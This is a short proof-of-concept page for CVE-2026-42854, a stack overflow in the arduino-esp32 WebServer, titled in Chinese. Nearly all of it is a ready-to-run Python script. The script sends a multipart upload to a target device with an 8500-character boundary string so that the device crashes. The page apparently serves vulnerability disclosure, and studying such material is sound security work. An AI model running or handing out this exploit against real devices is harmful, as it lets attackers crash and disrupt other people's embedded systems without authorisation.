CVE-2026-42854 arduino-esp32 WebServer栈溢出漏洞

import requests target_url = "http://<TARGET_IP>/upload" # Create a boundary string longer than 8000 characters to trigger stack overflow long_boundary = "A" * 8500 headers = { "Content-Type": f"multipart/form-data; boundary={long_boundary}" } # Minimal payload structure to trigger the parser payload = f"--{long_boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\ntest\r\n--{long_boundary}--\r\n" try: response = requests.post(target_url, headers=headers, data=payload) print(f"Request sent. Status: {response.status_code}") except requests.exceptions.RequestException as e: # Connection might drop if the device crashes print(f"Device likely crashed due to stack overflow: {e}")